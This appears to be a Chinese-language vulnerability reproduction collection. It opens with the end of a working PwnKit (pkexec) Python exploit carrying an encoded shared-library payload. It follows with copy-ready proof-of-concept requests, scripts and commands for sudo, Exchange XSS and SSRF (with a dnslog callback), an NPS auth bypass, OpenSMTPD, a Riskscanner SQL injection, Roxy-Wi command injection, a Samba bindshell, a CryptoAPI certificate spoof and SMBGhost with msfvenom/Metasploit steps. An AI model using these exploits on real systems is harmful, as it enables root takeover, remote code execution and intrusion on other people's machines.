        """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"""
    )
)
libc = CDLL(find_library("c"))
libc.execve.argtypes = c_char_p, POINTER(c_char_p), POINTER(c_char_p)
libc.execve.restype = c_ssize_t

wd = tempfile.mkdtemp()
open(wd + "/pwn.so", "wb").write(payload)
os.mkdir(wd + "/gconv/")
open(wd + "/gconv/gconv-modules", "w").write(
    "module  UTF-8//    INTERNAL    ../pwn    2"
)
os.mkdir(wd + "/GCONV_PATH=.")
os.mknod(wd + "/GCONV_PATH=./gconv")
os.chmod(wd + "/GCONV_PATH=.", 0o777)
os.chmod(wd + "/GCONV_PATH=./gconv", 0o777)
os.chmod(wd + "/pwn.so", 0o777)
os.chdir(wd)
cmd = b"/usr/bin/pkexec"
argv = []
envp = [
    b"gconv",
    b"PATH=GCONV_PATH=.",
    b"LC_MESSAGES=en_US.UTF-8",
    b"XAUTHORITY=../gconv",
    b"",
]

cargv = (c_char_p * (len(argv) + 1))(*argv, None)
cenv = (c_char_p * (len(envp) + 1))(*envp, None)
libc.execve(cmd, cargv, cenv)

Linux sudo权限提升漏洞 CVE-2021-3156

漏洞描述

2021年1月26日,Linux安全工具sudo被发现严重的基于堆缓冲区溢出漏洞。利用这一漏洞,攻击者无需知道用户密码,一样可以获得root权限,并且是在默认配置下。此漏洞已分配为CVE-2021-3156,危险等级评分为7分。
当sudo通过-s或-i命令行选项在shell模式下运行命令时,它将在命令参数中使用反斜杠转义特殊字符。但使用-s或-i标志运行sudoedit时,实际上并未进行转义,从而可能导致缓冲区溢出。因此只要存在sudoers文件(通常是/etc/sudoers),攻击者就可以使用本地普通用户利用sudo获得系统root权限。研究人员利用该漏洞在多个Linux发行版上成功获得了完整的root权限,包括Ubuntu 20.04(sudo 1.8.31)、Debian 10(sudo 1.8.27)和Fedora 33(sudo 1.9.2),并且sudo支持的其他操作系统和Linux发行版也很容易受到攻击。

漏洞影响

Sudo 1.8.2 - 1.8.31p2

Sudo 1.9.0 - 1.9.5p1

漏洞复现

目前POC已经在Github公开



img

当前可以验证的Linux环境为, 这里使用腾讯云中的Ubuntu镜像进行复现



img

img

img

漏洞POC


image-20240810162556526

Microsoft Exchange

Microsoft Exchange autodiscover.json 反射型XSS CVE-2021-41349

漏洞描述

Microsoft Exchange autodiscover.json 文件中存在反射型XSS,由于其中过滤不足而导致

漏洞影响

Microsoft Exchange

网络测绘

icon_hash=”1768726119”

漏洞复现

登录页面

img

验证POC

POST /autodiscover/autodiscover.json

%3Cscript%3Ealert%28document.domain%29%3B+a=%22%3C%2Fscript%3E&x=1

image-20240810142358343

Microsoft Exchange SSRF漏洞 CVE-2021-26885

漏洞描述

Exchange Server 是微软公司的一套电子邮件服务组件,是个消息与协作系统。2021年03月3日,微软官方发布了Microsoft Exchange安全更新,披露了多个高危严重漏洞,其中:在 CVE-2021-26855 Exchange SSRF漏洞中,攻击者可直接构造恶意请求,以Exchange server的身份发起任意HTTP请求,扫描内网,并且可获取Exchange用户信息。该漏洞利用无需身份认证

漏洞影响

Exchange 2013 Versions < 15.00.1497.012,

Exchange 2016 CU18 < 15.01.2106.013,

Exchange 2016 CU19 < 15.01.2176.009,

Exchange 2019 CU7 < 15.02.0721.013,

Exchange 2019 CU8 < 15.02.0792.010

网络测绘

icon_hash=”1768726119”

漏洞复现

与 SSRF 有关的文件

/owa/auth/Current/themes/resources/logon.css
/owa/auth/Current/themes/resources/...
/ecp/default.flt
/ecp/main.css
/ecp/<single char>.js

查看补丁中的改变,可以看到有关 BackEndServer 使用的类关于 BEResourceRequestHandler 的改变

img

修复 BEResourceRequestHandler 使用的 BakcEndServer类的补丁

img

查看调用BERsourceRequestHandler 的方法 SelectHandlerForUnauthenticatedRequest 查找相关路径 ProxyMoudle

img

可以从中看到需要带有 EXP协议(例如路径 /ecp/), Cookie参数 X-BEResponse, 还有以静态扩展名结尾的 URL (例如 x.js, x.css等)

而其中的请求为 HttpProxy 来实现的,所以大部分的POC中请求的文件为/etc/y.js 这样类似不存在的文件

参数 X-BEResource 解析在 BackEndServer.FromString

跟踪 BackEndServer对象, 其中该对象使用 ProxyRequestHandler 向主机发送请求

img

这里进行SSRF的漏洞复现,首先访问 /ecp/test11.js 文件

并设置Cookie X-BEResource=test_wiki/api/endpoint#~1; X-AnonResource=true

GET /ecp/test11.js HTTP/1.1
Host: 
Connection: close
sec-ch-ua: "Google Chrome";v="89", "Chromium";v="89", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Cookie: X-BEResource=test_wiki/api/endpoint#~1; X-AnonResource=true

用这样的方式请求可以确定是否存在 SSRF漏洞

响应包为:
NegotiateSecurityContext failed with for host 'test_wiki' with status 'TargetUnknown'

显示这样的就是可能存在了

在通过发送一个请求给 Dnslog确认是否存在 SSRF给 Dnslog发送了一个请求

GET /owa/auth/test.js HTTP/1.1
Host: 
Connection: close
sec-ch-ua: "Google Chrome";v="89", "Chromium";v="89", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Cookie: X-AnonResource=true; X-AnonResource-Backend=ianqsx.dnslog.cn/ecp/default.flt?~3; X-BEResource=ianqsx.dnslog.cn/owa/auth/logon.aspx?~3;


img

确定收到了由服务端发送的请求,存在SSRF漏洞

NPS

NPS auth_key 未授权访问漏洞

漏洞描述

NPS auth_key 存在未授权访问漏洞,当 nps.conf 中的 auth_key 未配置时攻击者通过生成特定的请求包可以获取服务器后台权限

漏洞影响

NPS

网络测绘

body=”serializeArray()” && body=”/login/verify”

漏洞复现

登录页面

img

在 web/controllers/base.go 文件中

img

md5Key := s.getEscapeString("auth_key")
timestamp := s.GetIntNoErr("timestamp")
configKey := beego.AppConfig.String("auth_key")
timeNowUnix := time.Now().Unix()
if !(md5Key != "" && (math.Abs(float64(timeNowUnix-int64(timestamp))) <= 20) && (crypt.Md5(configKey+strconv.Itoa(timestamp)) == md5Key)) {
	if s.GetSession("auth") != true {
		s.Redirect(beego.AppConfig.String("web_base_url")+"/login/index", 302)
	}
} else {
	s.SetSession("isAdmin", true)
	s.Data["isAdmin"] = true
}

这里需要的参数为 配置文件 nps.conf 中的 auth_key 与 timestamp 的md5 形式进行认证,但在默认的配置文件中,auth_key 默认被注释,所以只需要可以获取到的参数 timestamp 就可以登录目标

img

import time
import hashlib
now = time.time()
m = hashlib.md5()
m.update(str(int(now)).encode("utf8"))
auth_key = m.hexdigest()

print("auth_key=%s&timestamp=%s" % (auth_key,int(now)))

验证POC

image-20240811171728656

opensmtpd

CVE-2020-7247

OpenSMTPD 远程命令执行漏洞 (CVE-2020-7247)

OpenSMTPD 是面向 unix 操作系统 (BSD, MacOS, GNU/Linux) 的一个 smtp 服务程序,遵循 RFC 5321 SMTP 协议,OpenSMTPD 最初是为 OpenBSD 操作系统开发的,是 OpenBSD 项目的一部分,由于其开源的特性,进而分发到了其他 unix 平台。根据 ISC 许可,该软件可免费供所有人使用和重用。

CVE-2020-7247 是 OpenSMTPD 在实现 RFC 5321 的过程中对 发件人/收件人 校验不严而导致的。

2020年01月29日,OpenSMTPD 官方在 github 代码仓库提交了针对 CVE-2020-7247 漏洞的修复,修复后对应版本为OpenSMTPD 6.6.2p1

参考链接:

环境搭建

执行如下命令,启动OpenSMTPD服务

docker compose up -d

执行完成后,使用nc <your-ip> 8825 -v 后应看到如下回显:(44dadcc5a6eb为容器编号)

220 44dadcc5a6eb ESMTP OpenSMTPD

漏洞复现

使用Exploit-DB上的POC进行复现:

python3 poc.py your-ip 8825 <command> 

反弹shell:

image-20240802155956835

Riskscanner

Riskscanner list SQL注入漏洞

漏洞描述

Riskscanner list接口存在SQL注入漏洞,通过漏洞可获取服务器权限

漏洞影响

Riskscanner

网络测绘

title=”Riskscanner”

漏洞复现

登录页面

img

发送漏洞请求包

POST /resource/list/1/10 HTTP/1.1
Host: 
Content-Length: 41
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36
Content-Type: application/json;charset=UTF-8

{"sort":"1)a union select sleep(5) -- -"}

img

使用工具Sqlmap

image-20240811172715474

Roxy-Wi

Roxy-Wi options.py 远程命令执行漏洞 CVE-2022-31137

漏洞描述

Roxy-Wi options.py 存在远程命令执行漏洞,攻击者通过漏洞可以执行命令获取服务器权限

漏洞影响

Roxy-WI

网络测绘

app=”HAProxy-WI”

漏洞复现

登录页面

img

验证POC

POST /app/options.py
  
alert_consumer=1&serv=127.0.0.1&ipbackend=%22%3Bid+%23%23&backend_server=127.0.0.1

image-20240811172819028

samba

CVE-2017-7494

Samba 远程命令执行漏洞(CVE-2017-7494)

运行测试环境

docker compose up -d

Samba版本:4.6.3(该漏洞在4.6.4被修复)

原理

Samba允许连接一个远程的命名管道,并且在连接前会调用is_known_pipename()函数验证管道名称是否合法。在is_known_pipename()函数中,并没有检查管道名称中的特殊字符,加载了使用该名称的动态链接库。导致攻击者可以构造一个恶意的动态链接库文件,执行任意代码。

该漏洞要求的利用条件:

  • 拥有共享文件写入权限,如:匿名可写等
  • 需要知道共享目录的物理路径

参考:

测试过程

测试环境运行后,监听445端口,默认开启了一个共享“myshare”,共享的目录为/home/share,可读可写。

我们可以在Linux下用smbclient(安装:apt install smbclient)连接试试:

image-20240802160324759

成功连接。大家测试的时候如果连接不成功,有可能是国内运营商封了445端口,最好在本地或虚拟机测试,比如上图。

参考#224,新版metasploit可能无法复现这个漏洞。我们使用https://github.com/opsxcq/exploit-CVE-2017-7494来复现。

在目标服务器上执行/home/share/libbindshell-samba.so,其中myshare是分享名称(在vulhub中为myshare),而/home/share是对应的可写目录。-u-p用来指定用户名、密码,当前环境是一个匿名smb,所以填写任意信息均可。因为libbindshell-samba.so是一个bindshell,监听地址是6699,所以我们通过-P指定这个端口。在实际渗透中,我们可以修改libbindshell-samba.c,写入任意其他代码,如反弹shell,避免使用bindshell。

./exploit.py -t your-ip -e libbindshell-samba.so -s myshare -r /home/share/libbindshell-samba.so -u guest -p guest -P 6699

成功执行命令:

image-20240802160315001

Windows

Windows CryptoAPI欺骗漏洞 CVE-2020-0601

漏洞描述

1月15日,微软发布了针对CVE-2020-0601的安全补丁,该漏洞是微软在实现椭圆曲线加密算法数字证书验证时产生,可被利用于伪造来自可信任来源的签名或证书,并且因其业务特性会衍生出多种攻击向量,具有极高的可利用价值和极大的潜在破坏力,Win 10和windows server 2016 & 2019也都在其影响范围内。该漏洞由美国NSA国家安全局发现后汇报给微软公司,也被认为是第一个NSA公开披露的软件系统漏洞,当然也有可能存在其特殊的战术目的。绿盟科技M01N攻击安全研究团队对此漏洞原理进行了详细分析并复现了多种可能的攻击方法,提出了详细的检测及整改方案。

漏洞影响

带有指定参数的ECC密钥的证书的Microsoft Windows版本,依赖于Windows CryptoAPI的应用程序

漏洞复现

CVE-2020-0601的根源是微软的加密库crypt32.dll中椭圆曲线加密算法的实现问题,首先我们来了解一下椭圆加密算法的基本原理。

要形象地理解椭圆曲线加密算法,可以结合图形来看,以下是一个符合椭圆曲线的方程y2 = x3 + ax + b,图像如下:

img

椭圆曲线具有的一些独特的性质使它适合用于加密算法:

  1. 椭圆曲线关于x轴对称

  2. 任何一条非垂直的线与曲线最多有三个点相交

  3. 曲线是光滑的,即曲线的所有点都没有两个或者两个以上的不同的切线

在椭圆曲线上任意两点A、B(若A、B重合则作A的切线),作直线交于椭圆曲线另一点C,过C做y轴的平行线与椭圆曲线交于C点,定义A+B=C。椭圆曲线的加法符合交换律和结合律。

img

如果A、B是同一个点,则过A作椭圆曲线的切线,以同样的方法得到对应的结果 C=2A 。

img

接下来是椭圆曲线加密相关的重点,如果对多个A进行累加,则可依次累加连线得到nA的值 。

起点为A,终点D=3A,阶为3 。

img

起点为A,终点G=4A,阶为4。

img

椭圆曲线加密

img

考虑K=kG,其中K、G为椭圆曲线Ep(a,b)上的点,n为G的阶。k为小于n的整数。则给定k和G,根据加法法则,计算K很容易(只要逐次求解)但反过来,给定K和G,求k就非常困难。因为实际使用中的ECC原则上把私钥k取得相当大,n也相当大,且椭圆曲线不再连续而是在实数内离散的值,要把n个解点逐一算出几乎是不可能的。这就是椭圆曲线加密算法的数学依据 。

  • 点G称为基点

  • k(k<n)为私有密钥

  • K为公开密钥

椭圆曲线加密算法(ECC)和RSA一样是一种公开密钥加密技术,对原始数据以公钥加密,以私钥解密,即便攻击者获取密文和公钥也无法(在合理的时间或代价下)解密获取明文。

同样的,椭圆曲线加密算法(ECC)也被用于数字签名,以私钥加密生成签名,以公钥解密验证签名,如果和原文一样则签名验证成功。

公开密钥加密之所以可靠是因为它们利用了公钥密码领域的单向函数原理,正向操作非常简单,而逆向操作非常困难。

由G(基点)出发,进行k(私钥)次变换,只要按部就班地计算,就能很容易地得到终点K(公钥)的值。

img

已知起点G(基点)和终点K(公钥),要逆推得到移动次数k(私钥)则是一个很难的问题(最佳算法也达到了全指数复杂度)

img

相比传统RSA加密算法,椭圆加密算法具有着天生的优势,椭圆加密算法的逆向过程相比RSA有着更大的时间复杂度。在密钥长度相同的情况下,椭圆加密算法相比RSA具有更好的安全强度。一般认为,160比特的椭圆曲线密钥即可提供与1024比特的RSA密钥相当的安全强度。

较短的密钥也意味着更少的存储空间、更快的加解密速度和更少的带宽消耗,正因为椭圆加密算法的这些优势,它被用于Windows的签名系统、https的证书、比特币系统和中国的二代身份证系统中。

虽然椭圆曲线加密算法具有着许多优势,纯算法角度破解难度极大,微软对此算法的实现的缺漏却给漏洞利用提供了可乘之机。回到椭圆曲线加密最基本的等式 K=kG,首先需要明确的是,虽然对于给定的基点G和公钥K,要求解私钥k很困难,但是如果可以任意指定基点G,要构造一对k和G使等式成立却极其简单;最简单的情况,令基点G=K,则私钥k=1,这样一对基点和私钥可以使等式成立,也是有效的解。

在正常的标准椭圆曲线算法中,基点G并不是随意指定的,而是有固定的值(标准的作用,便是对基点G等参数的选择做出规定),例如在secp256r1版本的椭圆曲线算法中,基点G应当为标准规定的固定值,如果对参数不加验证,使得用户可以自定义传入的基点G的值(作为函数的参数),上面的私钥k=1的特殊解即可成立。

在有漏洞版本的crypt32.dll中验证使用ECC算法签名部分的函数恰恰是这个情况,原先的函数未加参数验证,参与计算的基点G的内容由被验证的证书随意指定,使未授权的证书能够构建私钥k=1的特殊解来成功通过椭圆加密算法的签名验证的过程。

让我们以CVE-2020-0601的一个POC为例来解析虚假密钥的构建过程:

require 'openssl'

raw = File.read ARGV[0]     # 读取使用ECC算法的证书文件
ca = OpenSSL::X509::Certificate.new(raw)    # 读取使用ECC算法的证书
ca_key = ca.public_key  # 从证书中提取公钥ca_key

ca_key.private_key = 1  # 设置私钥为1,使得公钥K==1*基点G的等式成立
group = ca_key.group 
group.set_generator(ca_key.public_key, group.order, group.cofactor)
group.asn1_flag = OpenSSL::PKey::EC::EXPLICIT_CURVE
ca_key.group = group        # 利用构建的假基点G和假密钥k设置新group
File.open("spoofed_ca.key", 'w') { |f| f.write ca_key.to_pem }  # 将新的group写入文件

修补后的Crypt32.dll中椭圆曲线加密算法的函数已加入了参数验证的部分,解决了由自由指定参数G导致的构造第二个特殊的有效密钥的问题。

一处验证机制的失误导致信任链的连锁反应。

img

现代的安全系统中存在着“信任链”的概念,信任链的上下级存在一种类似单向担保的关系,子级证书的可靠性由签名其的父级证书担保。签名时由根证书开始一级级向下签名,验证时则逐层溯源验证,直到找到信任的根证书文件,构成了一条信任链。位于整个“信任链”最上方的是最为重要不需要自证身份的根证书。根证书一般随系统附带或由管理员安装在系统内。

这个漏洞的存在则使得构造的无效签名通过了验证机制,使本应断裂的信任链被利用,逐级担保继续下去,最终使非法内容获得了证书所有者的合法签名身份。

漏洞POC


参考文章


Windows SMB远程代码执行漏洞 CVE-2020-0796

漏洞描述

2020年3月10日,微软在其官方SRC发布了CVE-2020-0796的安全公告(ADV200005,MicrosoftGuidance for Disabling SMBv3 Compression),公告表示在Windows SMBv3版本的客户端和服务端存在远程代码执行漏洞。同时指出该漏洞存在于MicroSoft Server Message Block 3.1.1协议处理特定请求包的功能中,攻击者利用该漏洞可在目标SMB Server或者Client中执行任意代码

漏洞影响

SMB版本 v3.1.1

Windows 10 Version 1903 for 32-bit SystemsWindows 10 Version 1903 for x64-based SystemsWindows 10 Version 1903 for ARM64-based SystemsWindows Server, Version 1903 (Server Core installation)Windows 10 Version 1909 for 32-bit SystemsWindows 10 Version 1909 for x64-based SystemsWindows 10 Version 1909 for ARM64-based SystemsWindows Server, Version 1909 (Server Core installation)

漏洞复现

下载对应的存在漏洞的系统版本

img

安装后执行命令 winver 查看系统版本,并查看是否含有 KB4551762补丁

img

CVE-2020-0796漏洞存在于受影响版本的Windows驱动srv2.sys中。Windows SMB v3.1.1 版本增加了对压缩数据的支持。图2所示为带压缩数据的SMB数据报文的构成。

img

ProtocolId:4字节,固定为0x424D53FC
OriginalComressedSegmentSize:4字节,原始的未压缩数据大小
CompressionAlgorithm:2字节,压缩算法
Flags:2字节,详见协议文档
Offset/Length:根据Flags的取值为Offset或者Length,Offset表示数据包中压缩数据相对于当前结构的偏移

img

srv2.sys中处理SMBv3压缩数据包的解压函数Srv2DecompressData未严格校验数据包中OriginalCompressedSegmentSizeOffset/Length字段的合法性。而这两个字段影响了Srv2DecompressData中内存分配函数SrvNetAllocateBuffer的参数。如图4所示的Srv2DecompressData函数反编译代码,SrvNetAllocateBuffer实际的参数为OriginalCompressedSegmentSize+Offset。这两个参数都直接来源于数据包中SMB Compression Transform Header中的字段,而函数并未判断这两个字段是否合法,就直接将其相加后作为内存分配的参数(unsigned int类型)。

img

这里,OriginalCompressedSegmentSize+Offset可能小于实际需要分配的内存大小,从而在后续调用解压函数SmbCompressionDecompress过程中存在越界读取或者写入的风险。

目前已公开的针对该漏洞的本地提权利用包含如下的主要过程:
(1)验证程序首先创建到SMS server的会话连接(记为session)。
(2)验证程序获取自身token数据结构中privilege成员在内核中的地址(记tokenAddr)。
(3)验证程序通过session发送畸形压缩数据(记为evilData)给SMB server触发漏洞。其中,evilData包含tokenAddr、权限数据、溢出占位数据。
(4) SMS server收到evilData后触发漏洞,并修改tokenAddr地址处的权限数据,从而提升验证程序的权限。
(5)验证程序获取权限后对winlogon进行控制,来创建system用户shell

首先,看一下已公开利用的evilData数据包

img

数据包的内容很简单,其中几个关键字段数据如下:

OriginalSize :0xffffffff
Offset:0x10
Real compressed data :13字节的压缩数据,解压后应为1108字节’A’加8字节的token地址。
SMB3 raw data :实际上是由2个8字节的0x1FF2FFFFBC(总长0x10)加上0x13字节的压缩数据组成

从上面的漏洞原理分析可知,漏洞成因是Srv2DecompressData函数对报文字段缺乏合法性判断造成内存分配不当。在该漏洞数据包中,OriginalSize 是一个畸形值。OriginalSize+ Offset = 0xffffffff + 0x10 = 0xf 是一个很小的值,其将会传递给SrvNetAllocateBuffer进行调用,下面具体分析内存分配情况。SrvNetAllocateBuffer的反编译代码

img

由于传给SrvNetAllocateBuffer的参数为0xf,根据SrvNetAllocateBuffer的处理流程可知,该请求内存将从SrvNetBufferLookasides表中分配。这里需要注意的是,变量SrvDisableNetBufferLookAsideList跟注册表项相关,系统默认状态下SrvDisableNetBufferLookAsideList为0。

img

SrvNetBufferLookasides表通过函数SrvNetCreateBuffer初始化,实际SrvNetCreateBuffer循环调用了SrvNetBufferLookasideAllocate分配内存,调用SrvNetBufferLookasideAllocate的参数分别为[‘0x1100’, ‘0x2100’, ‘0x4100’, ‘0x8100’, ‘0x10100’, ‘0x20100’, ‘0x40100’, ‘0x80100’, ‘0x100100’]。在这里,内存分配参数为0xf,对应的lookaside表为0x1100大小的表项。

img

SrvNetBufferLookasideAllocate函数实际是调用SrvNetAllocateBufferFromPool来分配内存

img

在函数SrvNetAllocateBufferFromPool中,对于用户请求的内存分配大小,内部通过ExAllocatePoolWithTag函数分配的内存实际要大于请求值(多出部分用于存储部分内存相关数据结构)。以请求分配0x1100大小为例,经过一系列判断后,最后分配的内存大小allocate_size= 0x1100 + E8 + 2*(MmSizeOfMdl + 8)。

img

内存分配完毕之后,SrvNetAllocateBufferFromPool函数还对分配的内存进行了一系列初始化操作,最后返回了一个内存信息结构体指针作为函数的返回值。

img

这里需要注意如下的数据关系:SrvNetAllocateBufferFromPool函数返回值return_buffer指向一个内存数据结构,该内存数据结构起始地址同实际分配内存(函数ExAllocatePoolWithTag分配的内存)起始地址的的偏移为0x1150;return_buffer+0x18位置指向了实际分配内存起始地址偏移0x50位置处,而最终return_buffer会作为函数SrvNetAllocateBuffer的返回值

img

回到漏洞解压函数Srv2DecompressData,在进行内存分配之后,Srv2DecompressData调用函数SmbCompressionDecompress开始解压被压缩的数据

img

实际上,该函数调用了Windows库函数RtlDecompressBufferEx2来实现解压,根据RtlDecompressBufferEx2的函数原型来对应分析SmbCompressionDecompress函数的各个参数。

SmbCompressionDecompress(CompressAlgo,//压缩算法
Compressed_buf,//指向数据包中的压缩数据
Compressed_size,//数据包中压缩数据大小,计算得到
UnCompressedBuf,//解压后的数据存储地址,*(alloc_buffer+0x18)+0x10
UnCompressedSize,//压缩数据原始大小,源于数据包OriginalCompressedSegmentSize
FinalUnCompressedSize//最终解压后数据大小

从反编译代码可以看出,函数SmbCompressionDecompress中保存解压后数据的地址为*(alloc_buffer+0x18)+0x10的位置,根据内存分配过程分析,alloc_buffer + 0x18指向了实际内存分配起始位置偏移0x50处,所以拷贝目的地址为实际内存分配起始地址偏移0x60位置处。

在解压过程中,压缩数据解压后将存储到这个地址指向的内存中。根据evilData数据的构造过程,解压后的数据为占坑数据和tokenAddr。拷贝到该处地址后,tokenAddr将覆盖原内存数据结构中alloc_buffer+0x18处的数据。也就是解压缩函数SmbCompressionDecompress返回后,alloc_buffer+0x18将指向验证程序的tokenAddr内核地址

img

img

继续看Srv2DecompressData的后续处理流程,解压成功后,函数判断offset的结果不为0。不为0则进行内存移动,内存拷贝的参数如下:

memmove(*(alloc_buffer+0x18),SMB_payload,offset)

此时alloc_buffer+0x18已经指向验证程序的tokenAddr内核地址,而SMB_payload此时指向evilData中的权限数据,offset则为0x10。因此,这个内存移动完成后,权限数据将写入tokenAddr处。这意味着,SMS Server成功修改了验证程序的权限,从而实现了验证程序的提权!

还有一个细节需要注意,在解压时,Srv2DecompressData函数会判断实际的解压后数据大小FinalUnCompressedSize是否和数据包中原始数据大小OriginalCompressedSegmentSize一致

img

按理来说实际解压后的数据大小为0x1100,不等于数据包中的原始压缩数据大小0xffffffff,这里应该进入到后面内存释放的流程。然而,实际上在函数SmbCompressionDecompress中,调用RtlDecompressBufferEx2成功后会直接将OriginalCompressedSegmentSize赋值给FinalUnCompressedSize。这也是该漏洞关于任意地址写入成功的关键之一。

img

漏洞POC


使用奇安信的漏洞扫描来探测

img


运行应用程序后弹出cmd窗口为 system权限

img

或者使用 MSF的内置EXP windows/local/cve_2020_0796_smbghost 来本地提权


msfvenom生成reversed shellcode

msfvenom -p windows/x64/meterpreter/bind_tcp lport=2333 -f py -o exp.py

将生成exp.py中的shellcode替换exploit.py中的shellcode

img

img

buf 要替换为 USER_PAYLOAD,使用 MSF, 注意有蓝屏概率

msf5 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/bind_tcp
payload => windows/x64/meterpreter/bind_tcp
msf5 exploit(multi/handler) > set lport 2333
lport => 2333
msf5 exploit(multi/handler) > set rhost 192.168.1.110
rhost => 192.168.1.110
msf5 exploit(multi/handler) > exploit
执行脚本即可
python3 exploit.py  -ip 192.168.1.110

Windows Win32k 本地提权漏洞 CVE-2021-1732

漏洞描述

2021年2月10日,微软每月的例行补丁包中修复了一个Windows系统本地提权漏洞,本地攻击者可以利用此漏洞提升到system权限,据称此漏洞被用于定向攻击活动。
奇安信息威胁情报中心红雨滴团队第一时间跟进该漏洞并确认其可用性,漏洞相应的利用程序已经公开,有可能被改造来执行大范围的攻击,已经构成现实的威胁。目前微软已经修补了此漏洞,奇安信息威胁情报中心提醒相关用户及时安装2月补丁。

漏洞影响

Windows Server, version 20H2 (Server Core Installation)

Windows 10 Version 20H2 for ARM64-based Systems

Windows 10 Version 20H2 for 32-bit Systems

Windows 10 Version 20H2 for x64-based Systems

Windows Server, version 2004 (Server Core installation)

Windows 10 Version 2004 for x64-based Systems

Windows 10 Version 2004 for ARM64-based Systems

Windows 10 Version 2004 for 32-bit Systems

Windows Server, version 1909 (Server Core installation)

Windows 10 Version 1909 for ARM64-based Systems

